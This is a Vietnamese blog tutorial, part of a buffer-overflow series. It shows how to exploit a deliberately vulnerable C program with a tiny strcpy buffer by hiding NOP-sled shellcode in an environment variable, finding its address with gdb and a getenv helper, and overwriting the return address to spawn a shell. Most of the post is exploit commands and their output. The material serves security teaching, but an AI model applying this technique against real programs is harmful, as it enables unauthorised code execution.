Trao đổi với tôi

http://www.buidao.com

3/3/10

[Hacking] Lỗi tràn bộ đệm [11]: dùng biến môi trường

Lần trước ta đã biết cách khai thác chương trình có buffer dài bằng cách bỏ shellcode vào buffer này dùng dòng lệnh trên *nix và perl. Lần này ta xét đến trường hợp buffer bị tràn rất bé, không đủ để bỏ shellcode vào. (Nếu bỏ vào thì có khả năng shellcode tràn luôn vào return address.) Nhớ lại ví dụ buffer ngắn đã xét:

/*
* vuln_sb.c : This is a vulnerable program with a short buffer
*/
#include

int main(int argc, char **argv) {
char buffer[5];
if (argv[1] != NULL) {
strcpy(buffer, argv[1]);
}
return 0;
}

Một trong những nơi có thể bỏ được shellcode là các biến môi trường (environment variable). Tùy theo bạn dùng shell gì, tôi dùng bash và có thể đơn giản làm như sau. (Nhớ rằng ex10 là đoạn bytecode gọi một shell:

[NQH] hanoi:~/BO$ export CSE=`perl -e 'print "\x90"x100;'``cat ex10`

Sau khi đặt shellcode vào biến môi trường MSC rồi (MSC viết tắt của “my shellcode” cho gọn), ta phải biết địa chỉ của CSE ở đâu để trỏ return address vào đó. Có vài cách để biết MSC nằm ở địa chỉ nào.

Cách 1: dùng gdb như sau.

[NQH] hanoi:~/BO$ gdb vuln_sb
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) break main
Breakpoint 1 at 0x804838a
(gdb) run
Starting program: /home/hungngo/BO/vuln_sb

Breakpoint 1, 0x0804838a in main ()
(gdb) x/20s $esp
0xbffff811: ""
0xbffff812: ""
0xbffff813: ""
0xbffff814: "Ï­"
0xbffff817: "@t\\215\\024@ál\\001@\\001"
0xbffff822: ""
.... ## a bunch of stuff here
0xbffffeaf: "MSC=", '\\220' ,
"<8b>\\024[1Á\\210C\\a\\215K\\b\\211\\031\\211A
\\0041Ó<97>\\vÍ\\200<88><87><90
><90><90>/bin/shX----++++"
... ## a bunch of stuff here
(gdb) quit
The program is running. Exit anyway? (y or n) y
[NQH] hanoi:~/BO$

Như vậy, MSC nằm ở địa chỉ 0xbffffeaf. Ta thử trỏ return address vào địa chỉ này:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xaf\xfe\xff\xbf"x20'`
Segmentation fault

Không được vì địa chỉ của MSC khi chạy trong môi trường gdb sẽ hơi khác khi chạy một mình một chút. Xê dịch lên xuống (nhớ rằng ta có đoạn NOP-sled bảo kê), và ta có:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xbf\xfe\xff\xbf"x20'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Thành công rồi! Dùng gdb thì đơn giản nhưng mất công quá.

Cách 2: Cách dễ hơn là viết một chương trình khác, in ra xem MSC nằm đâu. Trong memory space của chương trình khác này và chương trình vuln_sb.c thì địa chỉ của MSC sẽ không khác nhau là mấy khi chạy trong cùng một shell với cùng bộ biến môi trường. Cái chương trình in ra địa chỉ của MSC có thể viết như sau:

/*
* my_get_env.c : Print address of the given environment variable
*/
#include

int main(int argc, char **argv) {
char *addr;
if (argc < 2) {
printf("Usage: %s \n", argv[0]);
} else {
addr = getenv(argv[1]);
if (addr == NULL) {
printf("The environment variable %s does not exist\\n", argv[1]);
} else {
printf("%s is located at %p\\n", argv[1], addr);
}
}
return 0;
}

Chạy thử:

[NQH] hanoi:~/BO$ gcc -g my_get_env.c -o my_get_env
[NQH] hanoi:~/BO$ ./my_get_env MSC
MSC is located at 0xbffffeb0
[NQH] hanoi:~/BO$

Như vậy, MSC nằm ở 0xbffffeb0 đối với my_get_env. MSC đối với vuln_sb cũng sẽ nằm đâu gần đó. Thử xê dịch nó lên một chút là được:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb0\xfe\xff\xbf"x20;'`
Segmentation fault
[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xba\xfe\xff\xbf"x20;'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Nhưng cứ phải thử xê dịch lung tung như vậy thì cũng chưa hay. Ta có thể bắn một phát trúng đích ngay. Chú ý các thí nghiệm sau đây:

[NQH] hanoi:~/BO$ mv my_get_env a
[NQH] hanoi:~/BO$ ./a MSC
MSC is located at 0xbffffec2
[NQH] hanoi:~/BO$ mv a aa
[NQH] hanoi:~/BO$ ./aa MSC
MSC is located at 0xbffffec0
[NQH] hanoi:~/BO$ mv aa aaa
[NQH] hanoi:~/BO$ ./aaa MSC
MSC is located at 0xbffffebe
[NQH] hanoi:~/BO$

Địa chỉ của MSC dường như thay đổi theo độ dài của tên chương trình. Với độ dài tăng từ 1 lên 2 bytes thì địa chỉ giảm từ 0xbffffec2 xuống 0xbffffec0, sau đó tăng lên 3 bytes thì địa chỉ của MSC giảm xuống còn 0xbffffebe. Tính theo thập phân thì c2 xuống c0 là 2 bytes, c0 xuống be là 2 bytes nữa. Như vậy, nếu chương trình vuln_sb có chiều dài 7 bytes thì ta đoán là địa chỉ của MSC sẽ bị giảm thêm 8 bytes nữa từ 0xbffffebe xuống 0xbffffeb7. Thử ngay:

[NQH] hanoi:~/BO$ vuln_sb `perl -e 'print "\xb7\xfe\xff\xbf"x20;'`
sh-2.05b$ exit
exit
[NQH] hanoi:~/BO$

Tuyệt vời!

Như vậy là cho đến bài viết này, ta đã tạm thời giải quyết được hai vấn đề: (1) vấn đề NULL byte và (2) đặt shellcode ở chỗ nào. Như đã viết, có đến 4 vấn đề cơ bản. Hai vấn đề còn lại là: (3) tránh signature detection, và (4) cái stack không execute được. Trong các bài tới tôi sẽ trình bày một số cách giải quyết các vấn đề này.


reflink: http://www.procul.org/blog/category/b%E1%BA%A3o-m%E1%BA%ADt-va-m%E1%BA%ADt-ma-h%E1%BB%8Dc/